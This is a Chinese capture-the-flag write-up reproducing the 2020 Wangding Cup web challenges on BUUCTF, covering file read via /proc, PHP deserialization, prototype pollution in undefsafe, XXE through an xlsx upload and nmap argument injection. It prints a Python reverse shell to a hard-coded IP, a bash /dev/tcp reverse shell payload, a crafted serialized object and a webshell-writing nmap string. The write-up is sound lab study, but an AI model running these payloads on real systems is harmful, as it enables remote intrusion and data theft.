2020 网鼎杯web复现

复现平台buuctf

白虎组:

1.PicDown

本题是任意文件下载

尝试下载/proc/self/comline

得到提示 python2 app.py (原题应该是main.py这里可能是复现环境的差异)

下载app.py,代码审计

from flask import Flask, Response
from flask import render_template
from flask import request
import os
import urllib

app = Flask(__name__)

SECRET_FILE = "/tmp/secret.txt"
f = open(SECRET_FILE)
SECRET_KEY = f.read().strip()
os.remove(SECRET_FILE)


@app.route('/')
def index():
    return render_template('search.html')


@app.route('/page')
def page():
    url = request.args.get("url")
    try:
        if not url.lower().startswith("file"):
            res = urllib.urlopen(url)
            value = res.read()
            response = Response(value, mimetype='application/octet-stream')
            response.headers['Content-Disposition'] = 'attachment; filename=beautiful.jpg'
            return response
        else:
            value = "HACK ERROR!"
    except:
        value = "SOMETHING WRONG!"
    return render_template('search.html', res=value)


@app.route('/no_one_know_the_manager')
def manager():
    key = request.args.get("key")
    print(SECRET_KEY)
    if key == SECRET_KEY:
        shell = request.args.get("shell")
        os.system(shell)
        res = "ok"
    else:
        res = "Wrong Key!"

    return res


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8080)

不难看出:路由 /no_one_know_the_manager 下存在命令执行,且要求SECRET_KEY =key(输入值)

SECRET_KEY的值存放在/tmp/secret.txt中,但是该文件已经被删除了,因此我们无法下载文件。

在 linux 系统中如果一个程序打开了一个文件没有关闭,即便从外部(上文是利用 os.remove(SECRET_FILE))删除之后,在 /proc 这个进程的 pid 目录下的 fd 文件描述符目录下还是会有这个文件的 fd,通过这个我们即可得到被删除文件的内容

尝试访问/proc/self/fd/3 得到SECRET_FILE

2020 网鼎杯web复现_第1张图片

注:buu环境下这个key需要进行url加密才行,但实际题目环境应该不需要

2020 网鼎杯web复现_第2张图片

将key进行替换,然后访问这个no_one_know_the_manager的路由,果然可以执行,但是没有回显。反弹个shell就好。

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("174.1.93.196",1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

在根目录下发现flag,成功获取flag

 

 

青龙组

1.AreUSerialz

访问题目,发现是一个代码审计。

 process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: 
"; echo $s; } function __destruct() { if($this->op === "2") $this->op = "1"; $this->content = ""; $this->process(); } } function is_valid($s) { for($i = 0; $i < strlen($s); $i++) if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) return false; return true; } if(isset($_GET{'str'})) { $str = (string)$_GET['str']; if(is_valid($str)) { $obj = unserialize($str); } }

简单分析一下代码逻辑:

1.通过传入参数str来执行反序列化。(代码中提示了flag.php,我们的目标应该就是获取该文件的内容)

2.str会通过is_valid的函数进行过滤,该函数会阻止输入特殊字符,题目给的类中的函数为private属性,序列化后会产生特殊字符我们需要对其进行绕过。

3.反序列化会触发__destruct()函数,该函数会触发process()函数。

4.process()函数  当op=2时候, 触发read()函数可以读取flag.php的内容,再通过output函数输出

5.__destruct()函数和process()函数中,分别存在过滤,必须同时满足这2个条件。

if($this->op === "2")
            $this->op = "1";

if($this->op == "2") {
            $res = $this->read();
            $this->output($res);

这里我们可以令op=2就可以实现绕过。

注:绕过原理是由于强类型比较下2!=“2”,但在弱类型比较下 2==“2”进行比较时,“2”会被认为是一个数字进行比较,因此相等。

本地构造一个序列化数据,内容如下

O:11:"FileHandler":3:{s:5:"%00*%00op";i:2;s:11:"%00*%00filename";s:8:"flag.php";s:10:"%00*%00content";N;}

但是is_valid函数会阻止程序,因为这里的%00对应的ascii 0字符超过了范围。我们可以用S属性来绕过

O:11:"FileHandler":3:{S:5:"\00*\00op";i:2;S:11:"\00*\00filename";s:8:"flag.php";S:10:"\00*\00content";N;}

注:S模式下,字符可以用/+16进制来表示。%00就可以用\00来表示。

查看源码,成功获取flag

 

2.Notes

一道代码审计题,打开源码审计一下,发现可执行命令的函数,该函数会执行commands里面包含的命令。但是这里的commands变量是一个不可操作的变量

app.route('/status')
    .get(function(req, res) {
        let commands = {
            "script-1": "uptime",
            "script-2": "free -m"
        };
        for (let index in commands) {
            exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
                if (err) {
                    return;
                }
                console.log(`stdout: ${stdout}`);
            });
        }
        res.send('OK');
        res.end();
    })

 

const undefsafe = require('undefsafe');

这里的解决方法就是原型链污染。undefsafe包在<2.0.3版本下存在原型链污染漏洞。

可以参考https://snyk.io/vuln/SNYK-JS-UNDEFSAFE-548940

我们可以通过污染commands这个字典来达到执行命令的目标

    edit_note(id, author, raw) {
        undefsafe(this.note_list, id + '.author', author);
        undefsafe(this.note_list, id + '.raw_note', raw);
    }

app.route('/edit_note')
    .get(function(req, res) {
        res.render('mess', {message: "please use POST to edit a note"});
    })
    .post(function(req, res) {
        let id = req.body.id;
        let author = req.body.author;
        let enote = req.body.raw;
        if (id && author && enote) {
            notes.edit_note(id, author, enote);
            res.render('mess', {message: "edit note sucess"});
        } else {
            res.render('mess', {message: "edit note failed"});
        }
    })

/edit_note下可以传3个参数调用edit_note来进行原型链污染。

构造payload

id=__proto__&author=bash -i > /dev/tcp/ip/port 0>&1&raw=1

抓包构造

2020 网鼎杯web复现_第3张图片

 访问/status页面,反弹shell

成功获取flag

3.filejava

简单测试一下,题目只有上传和下载功能。

因此尝试一下是否存在目录穿越和任意文件下载的问题。

抓包测试../1.txt ,回显正常,提示该文件不存在,证明该漏洞存在。

尝试../ ,报错返回了一个路径。

由于这是一个java的网站,我们可以尝试一下读取java的配置文件。web.xml

构造filename=../../../web.xml ,成功获取数据



    
        DownloadServlet
        cn.abc.servlet.DownloadServlet
    

    
        DownloadServlet
        /DownloadServlet
    

    
        ListFileServlet
        cn.abc.servlet.ListFileServlet
    

    
        ListFileServlet
        /ListFileServlet
    

    
        UploadServlet
        cn.abc.servlet.UploadServlet
    

    
        UploadServlet
        /UploadServlet
    

这里尝试直接读取flag,构造filename=../../../../../../../../../flag.txt,flag果然在这儿,但是显示禁止读取,可能是文件权限不够,我们继续分析刚才的xml文件。

注:

1.web.xml包含程序处理的一些路由,虽然不能下载到java的原生文件,但是可以在对应的classes文件夹下获取对应的class文件,通过反编译就能查看源码。

2.这个的servlet-class就是对应编译好的文件的位置,其中.就是文件夹的分隔符/,cn.abc.servlet.ListFileServlet =cn/abc/servlet/ListFileServlet.class

3.java环境下,默认编译好的源码会保存在WEB-INF/classes文件夹下

构造filename=../../../classes/cn/abc/servlet/ListFileServlet.class ,依此下载这3个class文件,虽然直接打开是乱码,但是通过idea就能直接反编译看到源码。

接下来就是代码审计的工作。

发现UploadServlet下可能存在xxe漏洞。

if (filename.startsWith("excel-") && "xlsx".equals(fileExtName)) {
    try {
        Workbook wb1 = WorkbookFactory.create(in);
        Sheet sheet = wb1.getSheetAt(0);
        System.out.println(sheet.getFirstRowNum());
    } catch (InvalidFormatException var20) {
        System.err.println("poi-ooxml-3.10 has something wrong");
        var20.printStackTrace();
    }
}

这里是一个excel和xxe漏洞的结合,CVE-2014-3529,漏洞分析可以参考这篇文章https://www.jianshu.com/p/73cd11d83c30

大概的解法如下:

1.新建一个excel文件,后缀名改成zip

2.用解压软件打开,修改里面的[Conent_Tyoes].xml文件。在第二行添加如下代码。添加完后再将后缀改回xlsx


%remote;%int;%send;
]>

3.在靶机的/var/www/html目录下新建file.dtd的文件,内容如下:


">

 4.在靶机开始监听9999端口,命令如下:nc -lvvp 9999

成功获取flag

 

朱雀组

1.Nmap

简单来看就是执行Namp命令然后查看输出,这里有2个解题思路

1.将flag写入文件

-iL /flag -oN flag.txt 

注:

-iL  如果你有大量的系统进行扫描,就可以在文本文件中输入IP地址(或主机名),并使用该文件作为输入

-oN 将扫描结果输入到指定文件中。

执行,访问flag.txt获取flag

2.写入shell

 '  -oG 1.php'

但是文件写入被过滤,尝试phtml+短标签绕过写入成功

'  -oG pd.phtml '

蚁剑连接,获取flag

 

2.phpweb

打开一看一段时间就会报错,查看源码,发现有2个传参,func和p,结合报错输出可以判断

func是输入的函数,p是对应的参数,抓包查看一下

果然是这样,测试一下,phpinfo和一些常规的执行函数被过滤了。

构造

func=file_get_contents&p=index.php成功获取源码。

    func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

    if ($func != null) {
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }
    ?>

注:按理说这个函数被过滤了但buu的环境下输出成功了,具体情况不清楚。

        网上都是这个payload:func=highlight_file&p=index.php

这里我们可以看见Test类,再配合__destruct函数,不难想到可以 通过反序列化执行。

构造如下反序列化数据:

查询到flag的位置

然后修改代码,读取flag即可。

 

玄武组

1.

你可能感兴趣的:(ctf,web)